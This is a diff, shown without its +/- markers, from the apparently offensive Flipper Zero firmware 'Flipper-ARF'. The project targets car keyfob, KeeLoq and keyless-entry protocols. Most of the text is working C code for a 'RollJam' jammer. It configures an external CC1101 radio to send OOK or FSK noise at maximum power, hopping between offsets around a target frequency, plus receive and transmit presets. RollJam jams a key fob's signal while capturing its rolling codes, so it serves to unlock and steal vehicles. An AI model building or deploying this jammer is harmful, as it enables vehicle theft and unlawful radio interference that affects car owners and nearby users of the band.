| BinRAW | 433/315/868 MHz | AM/FM | Yes | Yes | No |
| RAW | All | All | Yes | Yes | No |
---
@@ -110,9 +124,14 @@ This project may incorporate, adapt, or build upon **other open-source projects*
Compact release build:
To build:
```
./fbt COMPACT=1 DEBUG=0 updater_package
```
To flash:
```
./fbt COMPACT=1 DEBUG=0 flash_usb_full
```
---
@@ -125,7 +144,7 @@ Flipper-ARF aims to achieve:
- Stable encoder/decoder implementations
- Modular protocol expansion
**Primary focus:** VAG, PSA, Fiat, Ford, Asian platforms, and aftermarket alarm systems.
**Primary focus:** Automotives/Alarm's keyfob protocols, keeloq, and keyless systems.
> ⚠ This is a protocol-focused research firmware, not a general-purpose firmware.
@@ -133,10 +152,9 @@ Flipper-ARF aims to achieve:
## To Do / Planned Features
- [ ] Add Scher Khan & Starline protocols
- [ ] Marelli BSI encoder and encryption
- [ ] Improve RollJam app
- [ ] Expand and refine Subaru, Kia, PSA, and other manufacturer protocols
- [ ] Expand and refine as many manufacturer protocols as possible
---
@@ -177,7 +195,7 @@ Contributions are welcome if they:
> Non-automotive features are considered out-of-scope for now.
### This code is a mess!
![Talk is cheap, submit patches](arf_pictures/send_patches.jpeg)
![Talk is cheap, submit patches](.arf_pictures/send_patches.jpeg)
---
## Citations & References
@@ -333,3 +351,36 @@ THIS SOFTWARE IS PROVIDED **"AS IS,"** WITHOUT ANY WARRANTIES OF ANY KIND, EXPRE
IN NO EVENT SHALL THE AUTHORS, COPYRIGHT HOLDERS, OR CONTRIBUTORS BE LIABLE FOR ANY CLAIM, DAMAGES, OR OTHER LIABILITY, WHETHER IN CONTRACT, TORT, OR OTHERWISE, ARISING FROM, OUT OF, OR IN CONNECTION WITH THE SOFTWARE OR ITS USE.
**ALL RISKS FROM THE USE OR PERFORMANCE OF THIS SOFTWARE REMAIN WITH THE USER.**
---
## Special thanks to everyone who contributes to this project:
## Contributors (GitHub)
<a href="https://github.com/d4c1-labs/Flipper-ARF/graphs/contributors">
<img src="https://contrib.rocks/image?repo=d4c1-labs/Flipper-ARF"/>
</a>
## Special Thanks
<table align="center">
<tr>
<td align="center">
<a href="https://github.com/whatthefxck">
<img src="https://avatars.githubusercontent.com/whatthefxck?s=80" width="80" height="80" alt="whatthefxck"/>
</a>
</td>
<td align="center">
<a href="https://github.com/zero-mega">
<img src="https://avatars.githubusercontent.com/zero-mega?s=80" width="80" height="80" alt="zero-mega"/>
</a>
</td>
</tr>
</table>
<p align="center">
Special thanks to everyone who contributed code, testing, reversing,
research, ideas, captures and documentation.
</p>
@@ -5,11 +5,10 @@
#include <furi_hal_power.h>
// ============================================================
// 5V OTG power for external modules (e.g. Rabbit Lab Flux Capacitor)
// 5V OTG power
// ============================================================
static bool otg_was_enabled = false;
static bool otg_was_enabled = false;
static bool use_flux_capacitor = false;
void rolljam_ext_set_flux_capacitor(bool enabled) {
@@ -33,9 +32,6 @@ static void rolljam_ext_power_off(void) {
}
}
// ============================================================
// GPIO Pins
// ============================================================
static const GpioPin* pin_mosi = &gpio_ext_pa7;
static const GpioPin* pin_miso = &gpio_ext_pa6;
static const GpioPin* pin_cs = &gpio_ext_pa4;
@@ -97,30 +93,43 @@ static const GpioPin* pin_amp = &gpio_ext_pc3;
#define MARC_TX 0x13
// ============================================================
// Bit-bang SPI
// Band calibration
// ============================================================
typedef struct {
uint32_t min_freq;
uint32_t max_freq;
uint8_t fscal3;
uint8_t fscal2;
uint8_t fscal1;
uint8_t fscal0;
} ExtBandCal;
static const ExtBandCal ext_band_cals[] = {
{ 299000000, 348000000, 0xEA, 0x2A, 0x00, 0x1F },
{ 386000000, 464000000, 0xE9, 0x2A, 0x00, 0x1F },
{ 778000000, 928000000, 0xEA, 0x2A, 0x00, 0x11 },
};
#define EXT_BAND_CAL_COUNT (sizeof(ext_band_cals) / sizeof(ext_band_cals[0]))
static const ExtBandCal* ext_get_band_cal(uint32_t freq) {
for(size_t i = 0; i < EXT_BAND_CAL_COUNT; i++) {
if(freq >= ext_band_cals[i].min_freq && freq <= ext_band_cals[i].max_freq)
return &ext_band_cals[i];
}
return &ext_band_cals[1];
}
static inline void spi_delay(void) {
__NOP(); __NOP(); __NOP(); __NOP();
__NOP(); __NOP(); __NOP(); __NOP();
__NOP(); __NOP(); __NOP(); __NOP();
__NOP(); __NOP(); __NOP(); __NOP();
for(int i = 0; i < 16; i++) __NOP();
}
static inline void cs_lo(void) {
furi_hal_gpio_write(pin_cs, false);
spi_delay(); spi_delay();
}
static inline void cs_hi(void) {
spi_delay();
furi_hal_gpio_write(pin_cs, true);
spi_delay(); spi_delay();
}
static inline void cs_lo(void) { furi_hal_gpio_write(pin_cs, false); spi_delay(); }
static inline void cs_hi(void) { spi_delay(); furi_hal_gpio_write(pin_cs, true); spi_delay(); }
static bool wait_miso(uint32_t us) {
CoreDebug->DEMCR |= CoreDebug_DEMCR_TRCENA_Msk;
DWT->CTRL |= DWT_CTRL_CYCCNTENA_Msk;
DWT->CTRL |= DWT_CTRL_CYCCNTENA_Msk;
uint32_t s = DWT->CYCCNT;
uint32_t t = (SystemCoreClock / 1000000) * us;
while(furi_hal_gpio_read(pin_miso)) {
@@ -154,20 +163,10 @@ static uint8_t cc_strobe(uint8_t cmd) {
static void cc_write(uint8_t a, uint8_t v) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return; }
spi_byte(a);
spi_byte(v);
spi_byte(a); spi_byte(v);
cs_hi();
}
static uint8_t cc_read(uint8_t a) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
spi_byte(a | 0x80);
uint8_t v = spi_byte(0x00);
cs_hi();
return v;
}
static uint8_t cc_read_status(uint8_t a) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
@@ -185,10 +184,6 @@ static void cc_write_burst(uint8_t a, const uint8_t* d, uint8_t n) {
cs_hi();
}
// ============================================================
// Helpers
// ============================================================
static bool cc_reset(void) {
cs_hi(); furi_delay_us(30);
cs_lo(); furi_delay_us(30);
@@ -210,13 +205,8 @@ static bool cc_check(void) {
return (v == 0x14 || v == 0x04 || v == 0x03);
}
static uint8_t cc_state(void) {
return cc_read_status(CC_MARCSTATE) & 0x1F;
}
static uint8_t cc_txbytes(void) {
return cc_read_status(CC_TXBYTES) & 0x7F;
}
static uint8_t cc_state(void) { return cc_read_status(CC_MARCSTATE) & 0x1F; }
static uint8_t cc_txbytes(void) { return cc_read_status(CC_TXBYTES) & 0x7F; }
static void cc_idle(void) {
cc_strobe(CC_SIDLE);
@@ -229,98 +219,14 @@ static void cc_idle(void) {
static void cc_set_freq(uint32_t f) {
uint32_t r = (uint32_t)(((uint64_t)f << 16) / 26000000ULL);
cc_write(CC_FREQ2, (r >> 16) & 0xFF);
cc_write(CC_FREQ1, (r >> 8) & 0xFF);
cc_write(CC_FREQ0, r & 0xFF);
cc_write(CC_FREQ1, (r >> 8) & 0xFF);
cc_write(CC_FREQ0, r & 0xFF);
}
static bool cc_configure_jam(uint32_t freq) {
FURI_LOG_I(TAG, "EXT: Config OOK noise jam at %lu Hz", freq);
const ExtBandCal* cal = ext_get_band_cal(freq);
FURI_LOG_I(TAG, "EXT: Config OOK jam at %lu Hz", freq);
cc_idle();
cc_write(CC_IOCFG0, 0x02);
cc_write(CC_IOCFG2, 0x2F);
// Fixed packet length, 255 bytes per packet
cc_write(CC_PKTCTRL0, 0x00); // Fixed length, no CRC, no whitening
cc_write(CC_PKTCTRL1, 0x00); // No address check
cc_write(CC_PKTLEN, 0xFF); // 255 bytes per packet
// FIFO threshold: alert when TX FIFO has space for 33+ bytes
cc_write(CC_FIFOTHR, 0x07);
// No sync word - just raw data
cc_write(CC_SYNC1, 0x00);
cc_write(CC_SYNC0, 0x00);
// Frequency
cc_set_freq(freq);
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
// CRITICAL: LOW data rate to prevent FIFO underflow
// 1.2 kBaud: DRATE_E=5, DRATE_M=67
// At this rate, 64 bytes = 64*8/1200 = 426ms before FIFO empty
cc_write(CC_MDMCFG4, 0x85); // BW=325kHz (for TX spectral output), DRATE_E=5
cc_write(CC_MDMCFG3, 0x43); // DRATE_M=67 → ~1.2 kBaud
cc_write(CC_MDMCFG2, 0x30); // ASK/OOK, no sync word
cc_write(CC_MDMCFG1, 0x00); // No preamble
cc_write(CC_MDMCFG0, 0xF8);
cc_write(CC_DEVIATN, 0x47);
// Auto-return to TX after packet sent
cc_write(CC_MCSM1, 0x00); // TXOFF -> IDLE (we manually re-enter TX)
cc_write(CC_MCSM0, 0x18); // Auto-cal IDLE->TX
// MAX TX power
cc_write(CC_FREND0, 0x11); // PA index 1 for OOK high
// PATABLE: ALL entries at max power
// Index 0 = 0x00 for OOK "0" (off)
// Index 1 = 0xC0 for OOK "1" (+12 dBm)
uint8_t pa[8] = {0x00, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0};
cc_write_burst(CC_PATABLE, pa, 8);
// Calibration
cc_write(CC_FSCAL3, 0xEA);
cc_write(CC_FSCAL2, 0x2A);
cc_write(CC_FSCAL1, 0x00);
cc_write(CC_FSCAL0, 0x1F);
// Test regs
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
// Calibrate
cc_idle();
cc_strobe(CC_SCAL);
furi_delay_ms(2);
cc_idle();
// Verify configuration
uint8_t st = cc_state();
uint8_t mdm4 = cc_read(CC_MDMCFG4);
uint8_t mdm3 = cc_read(CC_MDMCFG3);
uint8_t mdm2 = cc_read(CC_MDMCFG2);
uint8_t pkt0 = cc_read(CC_PKTCTRL0);
uint8_t plen = cc_read(CC_PKTLEN);
uint8_t pa0 = cc_read(CC_PATABLE);
FURI_LOG_I(TAG, "EXT: MDM4=0x%02X MDM3=0x%02X MDM2=0x%02X PKT0=0x%02X PLEN=%d PA=0x%02X state=0x%02X",
mdm4, mdm3, mdm2, pkt0, plen, pa0, st);
return (st == MARC_IDLE);
}
// ============================================================
// FSK jam configuration (FM238 / FM476)
// Same low-rate FIFO approach but 2-FSK modulation
// ============================================================
static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
FURI_LOG_I(TAG, "EXT: Config FSK noise jam at %lu Hz (wide=%d)", freq, wide);
cc_idle();
cc_write(CC_IOCFG0, 0x02);
cc_write(CC_IOCFG2, 0x2F);
cc_write(CC_PKTCTRL0, 0x00);
@@ -329,51 +235,115 @@ static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
cc_write(CC_FIFOTHR, 0x07);
cc_write(CC_SYNC1, 0x00);
cc_write(CC_SYNC0, 0x00);
cc_set_freq(freq);
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
// 1.2 kBaud 2-FSK, same low rate to avoid FIFO underflow
cc_write(CC_MDMCFG4, 0x85); // BW=325kHz, DRATE_E=5
cc_write(CC_MDMCFG3, 0x43); // DRATE_M=67 → ~1.2 kBaud
cc_write(CC_MDMCFG2, 0x00); // 2-FSK, no sync word
cc_write(CC_MDMCFG1, 0x00);
cc_write(CC_MDMCFG0, 0xF8);
// Deviation: FM238=~2.4kHz, FM476=~47.6kHz
cc_write(CC_DEVIATN, wide ? 0x47 : 0x15);
cc_write(CC_MCSM1, 0x00);
cc_write(CC_MCSM0, 0x18);
// FSK: constant PA, no OOK shaping
cc_write(CC_FREND0, 0x10);
uint8_t pa[8] = {0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0};
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
cc_write(CC_MDMCFG4, 0x85);
cc_write(CC_MDMCFG3, 0x43);
cc_write(CC_MDMCFG2, 0x30);
cc_write(CC_MDMCFG1, 0x00);
cc_write(CC_MDMCFG0, 0xF8);
cc_write(CC_DEVIATN, 0x47);
cc_write(CC_MCSM1, 0x00);
cc_write(CC_MCSM0, 0x18);
cc_write(CC_FREND0, 0x11);
uint8_t pa[8] = {0x00,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0};
cc_write_burst(CC_PATABLE, pa, 8);
cc_write(CC_FSCAL3, 0xEA);
cc_write(CC_FSCAL2, 0x2A);
cc_write(CC_FSCAL1, 0x00);
cc_write(CC_FSCAL0, 0x1F);
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
cc_write(CC_FSCAL3, cal->fscal3);
cc_write(CC_FSCAL2, cal->fscal2);
cc_write(CC_FSCAL1, cal->fscal1);
cc_write(CC_FSCAL0, cal->fscal0);
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
cc_idle();
cc_strobe(CC_SCAL);
furi_delay_ms(2);
cc_idle();
uint8_t st = cc_state();
uint8_t mdm2 = cc_read(CC_MDMCFG2);
uint8_t dev = cc_read(CC_DEVIATN);
FURI_LOG_I(TAG, "EXT FSK: MDM2=0x%02X DEV=0x%02X state=0x%02X", mdm2, dev, st);
uint8_t st = cc_state();
FURI_LOG_I(TAG, "EXT: state=0x%02X FSCAL={0x%02X,0x%02X,0x%02X,0x%02X}",
st, cal->fscal3, cal->fscal2, cal->fscal1, cal->fscal0);
return (st == MARC_IDLE);
}
static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
const ExtBandCal* cal = ext_get_band_cal(freq);
FURI_LOG_I(TAG, "EXT: Config FSK jam at %lu Hz (wide=%d)", freq, wide);
cc_idle();
cc_write(CC_IOCFG0, 0x02);
cc_write(CC_IOCFG2, 0x2F);
cc_write(CC_PKTCTRL0, 0x00);
cc_write(CC_PKTCTRL1, 0x00);
cc_write(CC_PKTLEN, 0xFF);
cc_write(CC_FIFOTHR, 0x07);
cc_write(CC_SYNC1, 0x00);
cc_write(CC_SYNC0, 0x00);
cc_set_freq(freq);
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
cc_write(CC_MDMCFG4, 0x85);
cc_write(CC_MDMCFG3, 0x43);
cc_write(CC_MDMCFG2, 0x00);
cc_write(CC_MDMCFG1, 0x00);
cc_write(CC_MDMCFG0, 0xF8);
cc_write(CC_DEVIATN, wide ? 0x47 : 0x15);
cc_write(CC_MCSM1, 0x00);
cc_write(CC_MCSM0, 0x18);
cc_write(CC_FREND0, 0x10);
uint8_t pa[8] = {0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0};
cc_write_burst(CC_PATABLE, pa, 8);
cc_write(CC_FSCAL3, cal->fscal3);
cc_write(CC_FSCAL2, cal->fscal2);
cc_write(CC_FSCAL1, cal->fscal1);
cc_write(CC_FSCAL0, cal->fscal0);
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
cc_idle();
cc_strobe(CC_SCAL);
furi_delay_ms(2);
cc_idle();
return (cc_state() == MARC_IDLE);
}
static void ext_gpio_init_spi_pins(void) {
furi_hal_gpio_init(pin_cs, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_cs, true);
furi_hal_gpio_init(pin_sck, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_sck, false);
furi_hal_gpio_init(pin_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_mosi, false);
furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh);
furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh);
}
static void ext_gpio_deinit_spi_pins(void) {
furi_hal_gpio_init(pin_cs, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_gdo0, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
}
void rolljam_ext_gpio_init(void) {
FURI_LOG_I(TAG, "EXT GPIO init (deferred to jam thread)");
if(use_flux_capacitor) {
furi_hal_gpio_init_simple(pin_amp, GpioModeOutputPushPull);
furi_hal_gpio_write(pin_amp, false);
}
}
void rolljam_ext_gpio_deinit(void) {
if(use_flux_capacitor) {
furi_hal_gpio_write(pin_amp, false);
furi_hal_gpio_init_simple(pin_amp, GpioModeAnalog);
}
FURI_LOG_I(TAG, "EXT GPIO deinit");
}
// ============================================================
// Jam thread - FIFO-fed OOK at low data rate
// Noise pattern & jam helpers
// ============================================================
static void jam_start_tx(const uint8_t* pattern, uint8_t len) {
@@ -387,34 +357,41 @@ static void jam_start_tx(const uint8_t* pattern, uint8_t len) {
static int32_t jam_thread_worker(void* context) {
RollJamApp* app = context;
bool is_fsk = (app->mod_index == ModIndex_FM238 || app->mod_index == ModIndex_FM476);
uint32_t jam_freq_pos = app->frequency + app->jam_offset_hz;
uint32_t jam_freq_neg = app->frequency - app->jam_offset_hz;
bool is_fsk = (app->mod_index == ModIndex_FM238 || app->mod_index == ModIndex_FM476);
uint32_t freq_pos = app->frequency + app->jam_offset_hz;
uint32_t freq_neg = app->frequency - app->jam_offset_hz;
FURI_LOG_I(TAG, "========================================");
FURI_LOG_I(TAG, "JAM: Target=%lu Offset=%lu FSK=%d",
FURI_LOG_I(TAG, "JAM thread start: target=%lu offset=%lu FSK=%d",
app->frequency, app->jam_offset_hz, is_fsk);
FURI_LOG_I(TAG, "========================================");
ext_gpio_init_spi_pins();
furi_delay_ms(5);
if(!cc_reset()) {
FURI_LOG_E(TAG, "JAM: Reset failed!");
FURI_LOG_E(TAG, "JAM: Reset failed — CC1101 externo no conectado o mal cableado");
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
if(!cc_check()) {
FURI_LOG_E(TAG, "JAM: No chip!");
FURI_LOG_E(TAG, "JAM: Chip no detectado");
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
bool jam_ok = false;
if(app->mod_index == ModIndex_FM238) {
jam_ok = cc_configure_jam_fsk(jam_freq_pos, false);
} else if(app->mod_index == ModIndex_FM476) {
jam_ok = cc_configure_jam_fsk(jam_freq_pos, true);
} else {
jam_ok = cc_configure_jam(jam_freq_pos);
}
bool jam_ok;
if(app->mod_index == ModIndex_FM238)
jam_ok = cc_configure_jam_fsk(freq_pos, false);
else if(app->mod_index == ModIndex_FM476)
jam_ok = cc_configure_jam_fsk(freq_pos, true);
else
jam_ok = cc_configure_jam(freq_pos);
if(!jam_ok) {
FURI_LOG_E(TAG, "JAM: Config failed!");
FURI_LOG_E(TAG, "JAM: Config failed");
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
@@ -438,18 +415,20 @@ static int32_t jam_thread_worker(void* context) {
jam_start_tx(noise_pattern, 62);
st = cc_state();
if(st != MARC_TX) {
FURI_LOG_E(TAG, "JAM: Cannot enter TX (state=0x%02X)", st);
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
FURI_LOG_E(TAG, "JAM: Cannot enter TX!");
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
}
FURI_LOG_I(TAG, "JAM: *** ACTIVE ***");
FURI_LOG_I(TAG, "JAM: *** ACTIVE *** freq_pos=%lu", freq_pos);
uint32_t loops = 0;
uint32_t loops = 0;
uint32_t underflows = 0;
uint32_t refills = 0;
bool on_positive_offset = true;
uint32_t refills = 0;
bool on_pos = true;
while(app->jam_thread_running) {
loops++;
@@ -458,10 +437,8 @@ static int32_t jam_thread_worker(void* context) {
cc_idle();
cc_strobe(CC_SFTX);
furi_delay_us(100);
on_positive_offset = !on_positive_offset;
cc_set_freq(on_positive_offset ? jam_freq_pos : jam_freq_neg);
on_pos = !on_pos;
cc_set_freq(on_pos ? freq_pos : freq_neg);
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
cc_strobe(CC_STX);
furi_delay_ms(1);
@@ -469,7 +446,6 @@ static int32_t jam_thread_worker(void* context) {
}
st = cc_state();
if(st != MARC_TX) {
underflows++;
cc_idle();
@@ -500,69 +476,46 @@ static int32_t jam_thread_worker(void* context) {
cc_idle();
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
cc_write(CC_IOCFG2, 0x2E);
ext_gpio_deinit_spi_pins();
FURI_LOG_I(TAG, "JAM: STOPPED (loops=%lu uf=%lu refills=%lu)", loops, underflows, refills);
return 0;
}
// ============================================================
// GPIO
// ============================================================
void rolljam_ext_gpio_init(void) {
FURI_LOG_I(TAG, "EXT GPIO init");
furi_hal_gpio_init(pin_cs, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_cs, true);
furi_hal_gpio_init(pin_sck, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_sck, false);
furi_hal_gpio_init(pin_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_mosi, false);
furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh);
furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh);
if(use_flux_capacitor) {
furi_hal_gpio_init_simple(pin_amp, GpioModeOutputPushPull);
furi_hal_gpio_write(pin_amp, false);
}
}
void rolljam_ext_gpio_deinit(void) {
if(use_flux_capacitor) {
furi_hal_gpio_write(pin_amp, false);
furi_hal_gpio_init_simple(pin_amp, GpioModeAnalog);
}
furi_hal_gpio_init(pin_cs, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_gdo0, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
FURI_LOG_I(TAG, "EXT GPIO deinit");
}
// ============================================================
// Public
// Public API
// ============================================================
void rolljam_jammer_start(RollJamApp* app) {
if(app->jamming_active) return;
app->jam_frequency = app->frequency + app->jam_offset_hz;
rolljam_ext_power_on();
furi_delay_ms(100);
rolljam_ext_gpio_init();
furi_delay_ms(10);
app->jam_frequency = app->frequency + app->jam_offset_hz;
app->jam_thread_running = true;
app->jamming_active = true;
rolljam_ext_power_on();
furi_delay_ms(50);
rolljam_ext_gpio_init();
app->jam_thread = furi_thread_alloc_ex("RJ_Jam", 4096, jam_thread_worker, app);
furi_thread_start(app->jam_thread);
app->jamming_active = true;
FURI_LOG_I(TAG, ">>> JAMMER STARTED <<<");
FURI_LOG_I(TAG, ">>> JAMMER THREAD STARTED <<<");
}
void rolljam_jammer_stop(RollJamApp* app) {
if(!app->jamming_active) return;
app->jam_thread_running = false;
furi_thread_join(app->jam_thread);
furi_thread_free(app->jam_thread);
app->jam_thread = NULL;
rolljam_ext_gpio_deinit();
rolljam_ext_power_off();
app->jamming_active = false;
FURI_LOG_I(TAG, ">>> JAMMER STOPPED <<<");
}
@@ -21,148 +21,252 @@
#define CC_FSCAL1 0x25
#define CC_FSCAL0 0x26
// ============================================================
// Presets
// ============================================================
#define CC_PKTCTRL0 0x08
#define CC_PKTCTRL1 0x07
#define CC_FSCTRL1 0x0B
#define CC_WORCTRL 0x20
#define CC_FREND1 0x21
static const uint8_t preset_ook_rx[] = {
// OOK 650kHz
static const uint8_t preset_ook_650_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0xD7, // RX BW ~100kHz — wider than jam offset rejection but better sensitivity
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x30,
CC_MDMCFG1, 0x00,
CC_FIFOTHR, 0x07,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_DEVIATN, 0x47,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x30,
CC_MDMCFG3, 0x32,
CC_MDMCFG4, 0x17,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x43, // MAX_DVGA_GAIN=01, MAX_LNA_GAIN=max, MAGN_TARGET=011 — more sensitive
CC_AGCCTRL1, 0x40, // CS_REL_THR relative threshold
CC_FOCCFG, 0x18,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x11,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
CC_FREND1, 0xB6,
0x00, 0x00,
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
static const uint8_t preset_fsk_rx[] = {
// OOK 270kHz
static const uint8_t preset_ook_270_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0xE7,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x00,
CC_MDMCFG1, 0x00,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x30,
CC_MDMCFG3, 0x32,
CC_MDMCFG4, 0x67,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x18,
CC_AGCCTRL0, 0x40,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x03,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x11,
CC_FREND1, 0xB6,
0x00, 0x00,
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// 2FSK Dev 2.38kHz
static const uint8_t preset_2fsk_238_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x15,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
static const uint8_t preset_ook_tx[] = {
// 2FSK Dev 47.6kHz
static const uint8_t preset_2fsk_476_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0x8C,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x30,
CC_MDMCFG1, 0x00,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x47,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// TX OOK
static const uint8_t preset_ook_tx[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x07,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x30,
CC_MDMCFG3, 0x32,
CC_MDMCFG4, 0x17,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x18,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x11,
CC_FSCAL3, 0xEA,
CC_FSCAL2, 0x2A,
CC_FSCAL1, 0x00,
CC_FSCAL0, 0x1F,
0x00, 0x00
CC_FREND1, 0xB6,
0x00, 0x00,
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
static const uint8_t preset_fsk_tx_238[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_MDMCFG4, 0x8C,
CC_MDMCFG3, 0x32,
CC_MDMCFG2, 0x00,
CC_MDMCFG1, 0x00,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x15,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL2, 0x07,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FSCAL3, 0xEA,
